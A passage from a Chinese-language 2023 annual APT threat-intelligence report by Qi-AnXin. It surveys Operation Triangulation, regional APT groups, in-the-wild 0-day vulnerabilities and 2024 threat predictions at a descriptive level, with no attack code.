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攻击链中除了漏洞利用和 TriangleDB 木马的相关组件之外，还包含两个“验证器”，即“JavaScript 验证器”
和“二进制验证器”[281]。这些验证器收集有关受害设备的各种信息并将其发送到 C2 服务器，然后用于
评估是否对感染设备进行下一步入侵活动。通过执行此类检查，攻击者可以确保他们的 0day 漏洞利用
和后续植入的程序不会被检测发现。

此外，攻击者通过使用 WebGL 在粉色背景上绘制黄色三角形并计算其校验和，以执行一种称为 Canvas 
Fingerprinting 的指纹识别技术。

正是如此，安全研究人员才把整个活动命名为 "Operation Triangulation"。

Operation Triangulation 背后的攻击者非常谨慎，在 TriangleDB 与 C2 服务器通信后，会检索并删除
与攻击链相关的日志文件，包括崩溃日志和数据库文件，攻击者通过这种方式进一步隐藏自己的攻击痕
迹。

图 3.28 绘制三角形的代码 [281]

图 3.29 绘制的三角形 [281]
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2023 年 Kaspersky 发布了多篇关于 Operation Triangulation 攻击活动的分析报告，如下表所示。

表 3.30 2023 年北美地区 APT 组织热点攻击活动

组织名 报告内容 披露时间 披露来源

Operation Triangulation

Kaspersky 员工的 iOS 设备被以前未知的恶意软件攻击 [278] 2023/06/01

Kaspersky

针对 Operation Triangulation 开发的检测程序 triangle_check，
用于扫描备份并执行所有检查 [279] 2023/06/02

针对攻击活动中使用的间谍软件植入物 TriangleDB 的分析 [280] 2023/06/21

对 Operation Triangulation 中隐蔽性操作的分析，并介绍了攻击链
中使用的组件 [281] 2023/10/23

Operation Triangulation 攻击链还原过程的总结 [282] 2023/10/26

公开披露包含漏洞利用的完整攻击链和一些关于硬件行漏洞
CVE-2023-38606 的信息 [283] 2023/12/27

 第三章 地缘下的 APT 组织、活动和趋势 / 全球高级持续性威胁（APT）2023 年度报告
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2023 年全球安全厂商披露出多个具有高级攻击技术、并在本年度持续活跃的 APT 组织，奇安信威胁情
报中心整理上述组织的相关简介，如下表所示。

七、其他地区
Other regions

组织名称 最早活动时间 公开披露时间 组织简介

盲眼鹰 2018 2018
疑似来自南美洲的 APT 组织，从 2018 年 4 月活跃至今。主要针对哥
伦比亚政府机构和大型公司（金融、石油、制造等行业）等重要领域
攻击。

Kasablanka 2021 2023
该组织攻击对象包括俄罗斯联邦政府合作署、俄罗斯阿斯特拉罕州
对外通信部等。使用的恶意软件包括 Warzone RAT、Loda RAT。在
2023 年利用新型窃密软件针对东欧中亚地区国家发起了钓鱼攻击。

NewsPenguin 2023 2023
该组织最早的攻击活动可以追溯到 2023 年初。来源未知，主要针对
巴基斯坦的目标等进行攻击活动。通过巴基斯坦国际海事博览会和会
议 (PIMEC) 进行鱼叉邮件攻击。

EarthKitsune 2020 2023
来源未知，主要针对韩裔美国人进行水坑攻击。使用包括漏洞 CVE-
2020-0674，及 Chrome 浏览器的 CVE-2019-5782 漏洞，并于最终投
递 dneSpy/agfSyp 木马。

NoName057 2022 2023 该组织主要针对乌克兰、波兰和北约的军事、财政部门等目标进行
DDoS 攻击活动。

GoldenJackal 2019 2023 该 APT 组织最早的攻击活动可以追溯到 2019 年 6 月。来源未知，主
要针对中东和南亚的政府和外交实体等目标进行攻击活动。

CL-STA-0043 2020 2023
来源未知，主要针对中东和非洲的政府目标等进行攻击活动。其主要
通过 Exchange 服务器漏洞进行攻击渗透，攻击后使用了多项新颖的
横向渗透技术。

SpacePirates 2017 2023
该组织疑似来自亚洲，主要针对俄罗斯、格鲁吉亚、蒙古国的政府、
电力、航空等目标进行攻击活动。其使用攻击武器库和 Winnti 等团
伙有重合。

表 3.31 2023 年其他地区活跃 APT 组织
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盲眼鹰（APT-C-36）主要攻击目标位于南美洲，包括哥伦比亚、厄瓜多尔、巴拿马、智利等地，具体目
标包括政府部门、金融机构、保险行业、大型公司等。攻击活动自 2018 年起，并持续至 2023 年。在这
期间不断更新武器库和攻击流程，尝试不同的攻击流，如 PDF 鱼叉钓鱼、加密自解压压缩包，同时利用
新的技术和更先进的工具集，如使用 LimeRAT 远控木马 [286]、利用地理过滤服务器进行重定向 [284]。

年初时奇安信威胁情报中心发现疑似 Kasablanka 组织在 2022 年 9 月至 12 月一直对俄罗斯进行攻击，
以社会工程学处理后的鱼叉邮件为入口进行攻击，附件为虚拟磁盘映像文件，里面嵌套了包括 LNK 文件、
压缩包、可执行文件等多种下阶段载荷的执行文件。在攻击初期最终执行的是商业木马 Warzone RAT，
在攻击后期研究人员观察到执行的木马变成了 Loda RAT[291]。之后友商陆续披露了该组织针对乌兹别克
斯坦和阿塞拜疆的外交等政府部门 [301]，以及对纳卡地区 [300] 的攻击活动。

2023 年 2 月，BlackBerry 发现新 APT 组织 NewsPenguin 针对巴基斯坦的攻击活动 [20]，攻击者发送的
鱼叉邮件以巴基斯坦即将举行的国际海事博览会和会议 (PIMEC-2023) 作为诱饵主题，最终诱导用户下
载安装间谍软件。鱼叉邮件的附件伪装成参展商手册的恶意文档，通过嵌入 VBA 宏来执行恶意软件。

图 3.32 Kasablanka 组织以 2015 年俄罗斯相关文章为诱饵 [291]

 第三章 地缘下的 APT 组织、活动和趋势 / 全球高级持续性威胁（APT）2023 年度报告
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“NoName057”组织于 2022 年首次推出 DDoS 攻击工具包 DDoSia，衍生自 Bobik 僵尸网络恶意软件，
起初针对主要位于欧洲、乌克兰、美国的政府机构、媒体和私营公司网站。目前据调查，在 2023 年 5
月 8 日至 6 月 26 日期间，受该攻击团伙活动影响国家包括立陶宛、乌克兰、波兰、意大利、捷克、丹麦、
拉脱维亚、法国、英国和瑞士，攻击者主要通过 Telegram 进行恶意软件分发。

图 3.33 NewsPenguin 传播的恶意诱饵文件 [20]



77全球高级持续性威胁（APT）2023 年度报告

2023 年 7 月，研究人员披露了一个新的网络犯罪组织，他们将其称为“SpacePirates”[298]。该组织至
少自 2017 年起就一直活跃，主要针对俄罗斯公司进行攻击。在一年的时间内，至少有 16 个俄罗斯组织
机构和 1 个塞尔维亚组织机构遭到攻击，包括政府和教育机构、私人保安公司、航空航天制造商、农业
生产商、国防能源和信息安全公司。

至今该组织已经扩大了其攻击范围，开发了新工具并改进了旧工具。研究人员发现攻击者在命令与控
制 (C&C) 服务器上安装了 Acunetix，这表明该组织在攻击活动中利用了漏洞。此外攻击者还开始使用
Deed RAT 和 ShadowPad 恶意软件。

CL-STA-0043 是针对中东和非洲政府的新 APT 组织。Palo Alto Networks 发现多起该组织实施的间谍攻
击 [297]，攻击者使用多种与众不同的工具和技术，例如用于隐秘运行 Webshell 的内存 VBS 后门、一种
在野罕见的凭据窃取技术以及渗透测试工具集“Yasso”等。

图 3.34 NoName057(16) 和 DDoSia 项目的活跃频道列表 [294]

图 3.35 ShadowPad 的 SSL 证书特征链 [298]
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组织名 报告内容 披露时间 披露来源

盲眼鹰 盲眼鹰针对厄瓜多尔进行攻击 [284] 2023/01/05 CheckPoint

Kasablanka 疑似 Kasablanka 组织以钓鱼邮件为入口针对俄罗斯的攻击 [291] 2023/01/17 奇安信

NewsPenguin NewsPenguin 针对巴基斯坦开展网络钓鱼活动 [20] 2023/02/09 BlackBerry

EarthKitsune EarthKitsune 通过水坑攻击以分发新的 WhiskerSpy 后门 [293] 2023/02/17 Trend Micro

Kasablanka
疑似 Kasablanka 组织使用新型窃密软件针对东欧、中亚地区国家发起
钓鱼攻击 [292] 2023/02/20 安恒

盲眼鹰 盲眼鹰针对哥伦比亚、厄瓜多尔、智利和西班牙的钓鱼攻击 [285] 2023/02/27 BlackBerry

Kasablanka 疑似 Kasablanka 组织针对阿塞拜疆及乌兹别克斯坦地区进行攻击 [301] 2023/03/02 深信服

盲眼鹰 盲眼鹰针对哥伦比亚地区部署 LimeRAT 组件 [286] 2023/04/18 360

盲眼鹰 对盲眼鹰组织的多阶段攻击链和恶意软件武器库的分析 [287] 2023/04/18 ThreatMon

盲眼鹰、Hagga 疑似盲眼鹰子组“Hagga”的攻击活动分析 [161] 2023/05/17 奇安信

GoldenJackal GoldenJackal 组织使用的 .NET 恶意软件工具集和攻击手法分析 [295] 2023/05/23 Kaspersky

盲眼鹰
盲眼鹰用加密自解压压缩包以及 LNK 文件等对目标人群进行鱼叉钓鱼攻
击 [288] 2023/06/14 360

CL-STA-0043 多起针对中东和非洲政府实体的间谍攻击活动 [297] 2023/06/14 Palo Alto 
Networks

NoName057 黑客组织 NoName057 利用 DDoS 工具集 DDoSia 中断多国网站 [294] 2023/06/29 Sekoia.io

SpacePirates SpacePirates 组织的攻击技术和工具 [298] 2023/07/24 Positive 
Technologies

盲眼鹰 盲眼鹰通过分发钓鱼邮件针对哥伦比亚地区的攻击活动 [289] 2023/08/17 瑞星

盲眼鹰 疑似 APT-C-36（盲眼鹰）组织投放 Amadey 僵尸网络木马 [290] 2023/10/31 360

Kasablanka 疑似 Kasablanka 组织针对纳卡地区的钓鱼攻击 [300] 2023/12/15 360

图 3.36 Yasso 命令行工具 [297]

表 3.37 2023 年其它地区 APT 组织热点攻击活动
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漏洞编号 影响目标 EXP/POC 是否公开 利用的 APT 组织 披露厂商

CVE-2023-21674 Microsoft 否 未知 Avast

CVE-2023-23529 Apple 否 未知 未知

CVE-2023-21823 Microsoft 否 未知 Mandiant

CVE-2023-21715 Microsoft 是 未知 EXPMON

CVE-2023-23376 Microsoft 否 未知
Microsoft Threat Intelligence 
Center(MSTIC),Microsoft Security 
Response Center(MSRC)

CVE-2023-20963 Google 否 未知 Oversecured Inc

第四章 大量0day漏洞被用于APT攻击

2023 年在野 0day 的利用数量相较 2022 年有所上升，趋势上逼近作为历年峰值的 2021 年。微软、谷歌、
苹果三家的产品漏洞依然占主要部分，而与往年有所不同的是，苹果产品的漏洞在数量上稳压了微软、
谷歌一头。

以浏览器为攻击向量依然是主趋势流，大量以移动端为目标的攻击成为今年 APT 的首选，网络军火商
在其中的参与度愈加提高，这也导致移动端漏洞的市场价格飙升。攻防两端的角力进入白热化，严重
1day 漏洞的在野攻击投放速度加快，攻击者能以更快的速度利用最新的漏洞发起攻击。

第四章  大量 0day 漏洞被用于 APT 攻击 /全球高级持续性威胁（APT）2023 年度报告

图 4.1 Operation Zero 提高主流移动平台零日漏洞报价

表 4.2 2023 在野重点 0day 漏洞 *1

2023 年在野攻击的重要漏洞如下所示：
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漏洞编号 影响目标 EXP/POC 是否公开 利用的 APT 组织 披露厂商

CVE-2023-23397 Microsoft 是 APT28 CERT-UA,Microsoft Incident,Microsoft 
Threat Intelligence(MSTI)

CVE-2023-24880 Microsoft 是 Magniber 勒索 Google’s Threat Analysis 
Group,Microsoft

CVE-2023-21768 Microsoft 是 未知 未知

CVE-2023-0266 Google 否 未知 Google Threat Analysis Group

CVE-2023-26083 ARM 否 未知 Google Threat Analysis Group

CVE-2023-28206 Apple 是 未知 Google Threat Analysis Group

CVE-2023-28205 Apple 否 未知 Google Threat Analysis Group

CVE-2023-28252 Microsoft 是 Nokoyawa 勒索 Kaspersky,Mandiant, 安恒

CVE-2023-2033 Google 否 未知 Google Threat Analysis Group

CVE-2023-2136 Google 否 未知 Google Threat Analysis Group

CVE-2023-21492 Samsung 否 未知 Google Threat Analysis Group

CVE-2023-28204 Apple 否 未知 未知

CVE-2023-32373 Apple 否 未知 未知

CVE-2023-32409 Apple 否 未知 Google Threat Analysis Group

CVE-2023-29336 Microsoft 是 未知 Avast

CVE-2023-2868 Barracuda 是 UNC4841 Barracuda,Mandiant

CVE-2023-3079 Google 否 未知 Google Threat Analysis Group

CVE-2023-32434 Apple 否 Operation 
Triangulation Kaspersky

CVE-2023-32435 Apple 否 Operation 
Triangulation Kaspersky

CVE-2023-32439 Apple 否 未知 未知

CVE-2023-37450 Apple 否 未知 未知

CVE-2023-32046 Microsoft 否 未知 Microsoft Threat Intelligence 
Center(MSTIC)

CVE-2023-36874 Microsoft 否 未知 Google Threat Analysis Group

CVE-2023-36884 Microsoft 否 未知 Google Threat Analysis Group

表 4.2 2023 在野重点 0day 漏洞 *2
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漏洞编号 影响目标 EXP/POC 是否公开 利用的 APT 组织 披露厂商

CVE-2023-37580 Synacor 否 Winter Vivern Google Threat Analysis Group

CVE-2023-38606 Apple 否 Operation 
Triangulation Kaspersky

CVE-2023-41990 Apple 否 Operation 
Triangulation Kaspersky

CVE-2023-38831 WinRAR 否 未知 Group-IB Threat Intelligence

CVE-2023-35674 Google 否 未知 未知

CVE-2023-4762 Google 否 Cytrox 未知

CVE-2023-42793 TeamCity 是 APT29/Lazarus 微软

CVE-2023-41064 Apple 否 未知 Citizen Lab

CVE-2023-41061 Apple 否 未知 Apple

CVE-2023-4863 Google 否 未知 Apple,Citizen Lab

CVE-2023-26369 Adobe 否 疑似 Lazarus 未知

CVE-2023-36802 Microsoft 是 未知
安恒 ,IBM X-Force ,Microsoft Threat 
Intelligence,Microsoft Security Response 
Center

CVE-2023-36761 Microsoft 否 未知 Microsoft Threat Intelligence

CVE-2023-41992 Apple 否 Cytrox Citizen Lab,Google Threat Analysis 
Group

CVE-2023-41991 Apple 否 Cytrox Citizen Lab,Google Threat Analysis 
Group

CVE-2023-41993 Apple 否 Cytrox Citizen Lab,Google Threat Analysis 
Group

CVE-2023-5217 Google 否 未知 Google Threat Analysis Group

CVE-2023-4211 ARM 否 未知 Google Threat Analysis Group,Google 
Project Zero

CVE-2023-33106 Qualcomm 否 未知 Google Threat Analysis Group

CVE-2023-33107 Qualcomm 否 未知 Google Threat Analysis Group,Google 
Project Zero

CVE-2023-33063 Qualcomm 否 未知 未知

CVE-2023-42824 Apple 否 未知 未知

CVE-2023-22515 Atlassian 否 未知 未知

表 4.2 2023 在野重点 0day 漏洞 *3
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漏洞编号 影响目标 EXP/POC 是否公开 利用的 APT 组织 披露厂商

CVE-2023-36036 Microsoft 否 未知 Microsoft Threat Intelligence,Microsoft 
Security Response Center

CVE-2023-36033 Microsoft 否 未知 安恒

CVE-2023-46604 ActiveMQ 是 HelloKitty 未知

CVE-2023-6345 Google 否 未知 Google Threat Analysis Group

CVE-2023-42916 Apple 否 未知 Google Threat Analysis Group

CVE-2023-42917 Apple 否 未知 Google Threat Analysis Group

表 4.2 2023 在野重点 0day 漏洞 *4

图 4.3 CVE-2023-23397 分析报告

一、贪婪的灰熊 Outlook CVE-2023-23397

2023 年 4 月，微软在补丁日修复了存在于 Outlook 中的一个等级为严重的漏洞 CVE-2023-23397，该漏
洞被微软确认已存在在野利用。攻击者通过发送带有特定 MAPI 属性的邮件至受害者 Outlook 邮箱，当
受害者用 Outlook 打开恶意邮件时，将自动连接该属性指定的由攻击者控制的 SMB 共享服务器 UNC 路
径，导致目标受害者的 NTLM Hash 被窃取。

奇安信威胁情报中心第一时间还原了该漏洞，在关联的过程中发现了大量新的可疑受害者，并确认利
用该漏洞的攻击可追溯至 2022 年 3 月。我们发现早期用于攻击邮件发送的都是 VPS 服务器，漏洞触
发后回连的 UNC 地址也指向同一台 VPS，但在 2022 年 4 月 14 日之后，所有的攻击 C2 都替换成了
Ubiquiti-EdgeRouter 路由器。此次漏洞攻击目标包含乌克兰、土耳其、罗马尼亚等地区的重要组织机构。
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图 4.4 Operation Triangulation[278]

2023 年 12 月 27 日，卡巴斯基在经过长达半年的分析之后，对外更新了整个攻击事件中的完整漏洞利
用流程 [283]。该攻击中一共使用了 4 个 0day 漏洞，即 CVE-2023-41990、CVE-2023-32434、CVE-2023-
38606、CVE-2023-32435。

攻击第一阶段通过 iMessage 发送带字体漏洞 CVE-2023-41990 的 PDF 文件，漏洞触发配合 CVE-2023-
32434、CVE-2023-38606 实现完整的代码执行权限，但是这一步之后攻击者并没有直接下发木马程序，
而是清除了设备中的所有漏洞利用痕迹，转入第二阶段的 Safari 利用流程，这中间会有一个受害者验证
的操作，完成之后通过 Safari 0day 漏洞 CVE-2023-32435 配合 CVE-2023-32434、CVE-2023-38606 再
次实现完整的代码执行权限，并投递恶意软件。

二、三角定位 - 侵蚀的苹果

2023 年 6 月 1 日，卡巴斯基披露了 Operation Triangulation 攻击活动，称从 2019 年开始卡巴斯基内
部重要员工的 iPhone 手机就遭到 0day 漏洞的攻击，攻击目标不仅限于卡巴斯基，很可能还涉及多个
国家的重点公司及政府部门。攻击者通过发送一条带有恶意附件的 iMessage 信息到目标设备上，在无
需任何用户交互的情况下，利用该条消息触发代码执行漏洞。漏洞利用所执行的代码会从远程服务器上
下载后续阶段的 Payload，其中额外包含了用于提权的利用代码，并最终部署一个功能齐全的木马平台，
最后会删除最初触发漏洞利用的漏洞消息。

奇安信威胁情报中心第一时间跟进了该事件，并通过奇安信内部数据确认 Operation Triangulation 活
动同样波及了国内多个重点单位的相关人员。
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图 4.5 Operation Triangulation 完整攻击链 [283]

图 4.6 Barracuda Networks 漏洞通告

这里卡巴斯基指出攻击中一个特殊的 0day 漏洞 CVE-2023-38606，该漏洞通过硬件内存映射 I/O(MMIO)
寄存器来绕过页面保护层 (PPL)，但有意思的是该漏洞利用的 MMIO 地址范围是一段不存在于官方记录
的区域，而这些地址对应的未知 MMIO 寄存器与 GPU 协处理器有关。

三、潜入深渊的梭子鱼 CVE-2023-2868

Barracuda Networks 于 2023 年 5 月 30 日发布通告，称旗下 ESG(Email Security Gateway) 设备中存
在 0day 漏洞 CVE-2023-2868 并已被利用，该漏洞是 ESG 对 tar 文件过滤不严导致的远程命令执行漏洞。
利用该漏洞的攻击最早发生于 2022 年 10 月，攻击者通过漏洞获取目标设备的代码执行权限后，下发
SEASPY/SALTWATER 木马。

值得注意的是，Barracuda Networks 在通告发布 7 天后，即 2023 年 6 月 6 日更新了通告内容，指出
无论是否安装了漏洞补丁，受影响的 ESG 设备都需要立即更换。背后的原因为攻击者在事件披露后迅速
地对常驻木马进行了更新调整，增加了其他持久化机制以试图维持访问。
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四、升级开始 - 0day 化的勒索团伙

勒索团伙大多数情况下以经济勒索为目的，其本身对 0day 需求并不大，部分团伙可能会为获取 System
权限内置一些 Nday 提权漏洞，或在传播时使用类似永恒之蓝的 Nday 漏洞。但是从 2022 年底开始，
勒索团伙的攻击中不断出现出现 0day 漏洞。

最 早 为 2022 年 底 的 CVE-2022-44698， 该 漏 洞 允 许 攻 击 者 使 用 一 个 错 误 格 式 的 JS 认 证 签 名 绕 过
SmartScreen 安全告警，Magniber 勒索团伙通过该漏洞下发其后续的勒索软件。

2023 年 3 月，Google Tag 再次捕获到了 Magniber 勒索团伙的 0day 攻击，这次攻击中使用了 0day 
CVE-2023-24880， 该 漏 洞 和 CVE-2022-44698 类 似， 通 过 一 个 错 误 格 式 的 MSI 认 证 签 名 来 绕 过
SmartScreen 安全告警。

2023 年 4 月， 卡 巴 斯 基 披 露 了 Nokoyawa 团 伙 的 0day 攻 击 事 件， 攻 击 中 使 用 了 0day CVE-2023-
28252，该漏洞为 Windows 系统 CLFS 组件中的一处越界写入漏洞，成功利用后将导致权限提升。

随着攻防双方的不断对抗，如今勒索团伙也逐渐加入 0day 的网络军备竞赛，而作为以经济利益为导向
的犯罪团伙，勒索集团凭借攫取的丰厚不义之财来维系其源源不断的 0day 供应，明年我们可能会看到
更多 0day 利用出现在勒索团伙的攻击中。

五、云上幽灵 - Storm-0558

2023 年 6 月，美国联邦民事行政部门 (FCEB) 机构在其 Microsoft 365(M365) 云环境中发现了可疑活
动。该机构向 Microsoft 和网络安全和基础设施安全局 (CISA) 报告了该活动。经过调查，Microsoft
确认有 APT 团伙访问并泄露了非机密的 Exchange Online Outlook 数据，随后微软将该组织命名为
Storm-0558。

通过微软的调查，从 2023 年 5 月 15 日开始，Storm-0558 使用伪造的身份验证令牌访问了大约 25 个
组织的用户电子邮件，其中包括政府机构和公共云中的相关消费者帐户。由于微软认证上存在的多个安
全问题，攻击者通过窃取一个未激活的微软账户 (MSA) 消费者签名密钥，并利用它伪造了 Azure AD 企
业和 MSA 消费者的身份验证令牌，从而访问了 OWA 和 outlook.com。一旦利用伪造的令牌通过合法
客户端的身份验证，威胁参与者就可以访问 OWA API，并从 OWA 使用的 GetAccessTokenForResource 
API 中获取 Exchange Online 的访问令牌 ( 由于设计缺陷，攻击者能够通过展示之前从该 API 获得的令
牌来获取新的访问令牌 )，以下为安全研究人员 Amitai Cohen 总结的攻击活动流程。
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六、移动端漏洞趋向底层硬件化

近年来移动端设备的功能越来越强大，大量 PC 端的功能开始向移动端转移，并成为 APT 团伙的重点关
注目标。从 Android 到 iOS，移动设备的攻击向量往往是以浏览器为入口，结合提权漏洞绕过沙箱，攻
防的核心主要还是在系统软件层面，但是近两年移动端的在野漏洞开始出现与硬件平台相关的利用，如
去年 ARM 的 CVE-2021-39793，再到今年 Qualcomm 的 GPU 漏洞 CVE-2023-33106/CVE-2023-33107/
CVE-2023-33063。这一方面可以说是 Goolge/Apple 的努力，导致针对现代移动操作系统的完整攻击链
的构建成本愈发高昂，另一方面也似乎标志着攻击者正在尝试转移攻击面，将目光投向更底层的硬件厂
商领域。相较于上层的系统大厂，无论是 ARM 还是 Qualcomm，其在安全方面的投入肯定是有所不如的，
这种情况下攻击者转向更薄弱的攻击场景也情有可原，但是这一猜想是否正确，还需要时间的验证。

图 4.7 Storm-0558 攻击流程

随着云上业务的逐渐兴起，大量企业核心业务也向云上迁移，这次事件也为云上认证的安全性敲响了警
钟，即使是全球前三的云企业也无法回避这个问题。在整个攻击活动中，攻击者利用了多处微软系统中
的安全问题，从而实现了信息的窃取。对于大型云企业，如何做好相关的安全业务，保证用户的核心数
据安全将成为未来受到持续关注的安全焦点。

 第四章 大量 0day 漏洞被用于 APT 攻击 / 2023 年度全网漏洞态势研究报告
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七、1day 漏洞的利用率激增

在漏洞的生命周期中，往往存在着一段漏洞补丁刚发布，而网络上产品还未安装补丁的真空期，这段真
空期的长短往往取决于作为产品使用者的企业的网络安全运维能力。不少网络安全意识薄弱的企业，可
能时过几个月仍未修复一些高危漏洞，这一情况经常会吸引来很多已具备该 1day 漏洞利用能力的攻击
者。

包括波音公司在内的数家企业被臭名昭著的 Lockbit 勒索团伙攻击这一事件引起多方关注，安全研究
人员就推测攻击者可能利用了 Citrix NetScaler 设备在 10 月发布安全更新修补的漏洞（漏洞编号 CVE-
2023-4966，别名 Citrix Bleed），对未及时安装补丁的设备进行攻击。

此外奇安信安服团队及威胁情报中心观察到多个网络攻击团伙利用 10 月底披露的开源组件 ActiveMQ
漏洞（漏洞编号 CVE-2023-46604，CNVD-2023-69477）进行攻击，其中不乏勒索攻击团伙。而存在漏
洞的 ActiveMQ 版本往往会集成在其他软件产品中，使用了这些软件产品的信息系统也会受到该漏洞影
响而变成潜在的攻击目标。

随着网络安全产业的发展，漏洞利用的披露也越来越快，拿到漏洞细节的攻击者拥有更充足的时间发起
攻击，如何在越来越短的时间窗口中尽可能的修复互联网上的漏洞设备成为监管机构和安全厂商需要考
虑的一大难题。

八、网络军火商背靠国家金主

2023 年出现了多起以漏洞军火商代理发起的攻击活动，这些活动背后或多或少都有国家背景，形成了
国家提供资金，军火商提供武器，对特定群体进行攻击的模式。

2023 年 4 月微软及公民实验室同时披露了漏洞军火商 QuaDream 以 iOS14 0day 进行攻击的事件，并
指出沙特阿拉伯政府和加纳政府都是 QuaDream 的客户。

2023 年 9 月 Google 及公民实验室共同披露了 Cytrox 漏洞军火商利用 iOS 平台 0day 漏洞 CVE-2023-
41991、CVE-2023-41992、CVE-2023-41993 及 Android 0day 漏洞 CVE-2023-4762 对前埃及议员发起
的攻击事件，文中指出恶意软件通过中间人攻击 (MITM) 下发，当受害者访问某些没有 HTTPS 的网站
URL 时将被跳转到对应的 0day 攻击链接，从而完成对目标手机的接管。
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图 4.8 0day 攻击链中的间谍软件注入中间盒

2023 年 10 月大赦国际披露疑似具有东南亚国家背景的团伙购买了 Cytrox 开发的相关武器军火，针对
27 名个体和 23 个机构的至少 50 个社交媒体账户发起攻击，并投递 Predator 间谍软件。

九、射向国产软件的暗箭

2023 年奇安信情报中心在日常的运营中发现多起使用国产软件 0day 为攻击入口的安全事件。

其中包括利用 WPS 0day 实施的攻击活动，攻击者制作的恶意文档带有对 WPS 漏洞的利用，文档打开
后可以直接导致远程代码执行。奇安信威胁情报中心第一时间将攻击 POC 代码提交金山，并获得相关
致谢。

 第四章 大量 0day 漏洞被用于 APT 攻击 / 2023 年度全网漏洞态势研究报告
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图 4.9 金山致谢

在 2022 年，奇安信威胁情报中心在日常的威胁监控中发现多起针对国内重点单位的攻击事件，攻击
团伙当时借助国内某邮箱的 0day 漏洞，展开对目标单位核心数据的窃取行动。此外我们也监控到
APT-Q-77 利用国内防火墙设备的漏洞进行攻击的案例，具体细节详见”2023 年紧盯我国的活跃组织”
章节。
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第五章 2024年高级持续性威胁预测

我们基于 2023 年 APT 威胁的态势以及近年来 APT 威胁组织和活动的变化情况对 2024 年高级持续性威
胁进行预测。

第五章 2024 年高级持续性威胁预测 /全球高级持续性威胁（APT）2023 年度报告

一、全球局势动荡催生更加频繁的 APT 攻击活动

俄乌冲突从 2022 年持续至今，战局依旧胶着；2023 年 10 月，巴勒斯坦武装组织哈马斯与以色列爆发
激烈冲突，中东地区再度风起云涌。世界多地局势日趋紧张，各国之间冲突加剧。另一方面，2024 年
将是一个“全球选举年”，据不完全统计，2024 年全球将有 76 个国家 / 地区举行大选，涉及北美、欧洲、
南亚地区的多个国家，覆盖全球 41.7 亿人口。

在未来变数增多的背景下，倚靠国家支持的攻击团伙或将以更频繁的攻击、更隐蔽的手段对更广泛的目
标实施情报刺探活动。

二、移动端将继续受到攻击者关注

针对移动端的网络攻击在持续增多，2023 年，我们观察到多个组织在 Android 平台的攻击活动。2023
年 12 月，卡巴斯基披露了针对 iOS 设备的 Operation Triangulation 的完整攻击链。该活动使用了 4 个
0day 漏洞，并持续 4 年之久，其隐蔽性和攻击复杂度可想而知。如果之前移动端的攻击活动只是在数
量上引人注目，那么 Operation Triangulation 更是显示了 APT 组织在移动端攻击水平的高度。

另外，网络军火商的活跃在一定程度上丰富了攻击团伙面向移动平台的数字武器。根据这个发展趋势，
我们预测 2024 年将会出现更多针对 Android/iOS 等移动设备的攻击。

三、软件供应链仍是常用攻击途径

2023 上半年曝光的 3CX 音视频会议软件供应链攻击事件一石激起千层浪，影响到全球多家企业，更令
人震惊的是，后续调查发现攻击者之所以能够进入软件开发环境植入恶意代码是源自另一起供应链攻击。
在 3CX 事件之外，针对开源软件组件的供应链攻击事件也在不断发生，比如，攻击者模仿具有高使用量
的 Python 库在 PyPI 平台上创建带恶意代码的版本，迷惑受害者使用，从而植入恶意程序。

一旦攻击者控制了软件供应链的其中一个节点，攻击影响面就能覆盖到下游的所有用户，而且行为相对
隐蔽，这些特点使得软件供应链仍是攻击者紧盯的目标之一。
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四、人工智能技术被攻击者滥用

近两年人工智能技术的发展成果已被应用到多个领域，为人们的工作生活提供了不少便利。然而有效
的工具免不了被投入恶意用途，目前已经有攻击者开始利用人工智能技术提升攻击活动的效率。人工
智能应用 ChatGPT 发布后虽然施加了各种限制避免被恶意使用，但这并没有阻止攻击者的步伐，类似
ChatGPT 的恶意版本 WormGPT 和 FraudGPT 已经出现在暗网，它们能帮助攻击者编写恶意软件，拟
定钓鱼邮件内容。

通过人工智能的辅助，攻击者可以减少制作恶意软件和钓鱼内容时出现的错误以及个人风格特征。除此
之外，人工智能技术很可能被进一步滥用到其他恶意领域。

五、网络威胁呈现更复杂的生态

随着攻防对抗的不断升级，网络威胁背后的地下世界出现更加精细的分工，目前存在的一种情况是，网
络武器的开发甚至进攻任务的实施不用攻击者亲自完成。在这个地下生态中，网络军火商为攻击者提供
武器支持，一方面大大降低了 APT 攻击的技术门槛，另一方面也给原始攻击者带来额外的反溯源保护。

而雇佣黑客组织的作用则体现在替 APT 团伙分担一部分攻击任务。我们观察到 APT-Q-41 在今年呈现出
较强的外包特征，就是其中一个例子。另外，在一份针对南亚雇佣黑客组织 Appin 的研究报告中指出，
该组织的多产与当前南亚地区 APT 活动的惊人数量存在密不可分的关系。无独有偶，“渗透测试培训组
织”AlphaLock 除了培训黑客，还会向威胁行为者出售针对特定组织机构的攻击服务。
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附录1 全球主要APT组织列表
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附录2 奇安信威胁情报中心
威胁情报中心是奇安信集团旗下专注于威胁情报收集、分析、生产的专业部门，以业界领先的安全大数据
资源为基础，基于奇安信长期积累的威胁检测和大数据技术，依托亚太地区顶级的安全分析师团队，通过
创新性的运营分析流程，开发威胁情报相关的产品和服务，输出威胁安全管理与防护所需的情报数据，协
助客户发现、分析、处置高级威胁活动事件。

奇安信 ALPHA 威胁分析平台（https://ti.qianxin.com），是奇安信集团面向安全分析师和应急响应团队
提供的一站式云端服务平台，该平台拥有海量互联网基础数据和威胁研判分析结果，为安全分析人员及各
类企业用户提供基础数据的查询、攻击线索拓展、事件背景研判、攻击组织解析、研究报告下载等多种维
度的威胁情报数据与威胁情报服务，提供全方位的威胁情报能力。

奇安信病毒响应中心奇安信威胁情报中心
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附录3 红雨滴团队(RedDirp Team)
奇安信旗下的高级威胁研究团队红雨滴（RedDrip Team，@RedDrip7），成立于 2015 年（前身为天眼实
验室），持续运营奇安信威胁情报中心至今，专注于 APT 攻击类高级威胁的研究，是国内首个发布并命名“海
莲花”（APT-C-00，OceanLotus）APT 攻击组织的安全研究团队，也是当前奇安信威胁情报中心的主力
威胁分析技术支持团队。

目前，红雨滴团队拥有数十人的专业分析师和相应的数据运营和平台开发人员，覆盖威胁情报运营的各个
环节：公开情报收集、自有数据处理、恶意代码分析、网络流量解析、线索发现挖掘拓展、追踪溯源，实
现安全事件分析的全流程运营。团队对外输出机读威胁情报数据支持奇安信自有和第三方的检测类安全产
品，实现高效的威胁发现、损失评估及处置建议提供，同时也为公众和监管方输出事件和组织层面的全面
高级威胁分析报告。

依托全球领先的安全大数据能力、多维度多来源的安全数据和专业分析师的丰富经验，红雨滴团队自
2015 年持续发现多个包括海莲花在内的 APT 组织在中国境内的长期活动，并发布国内首个组织层面的
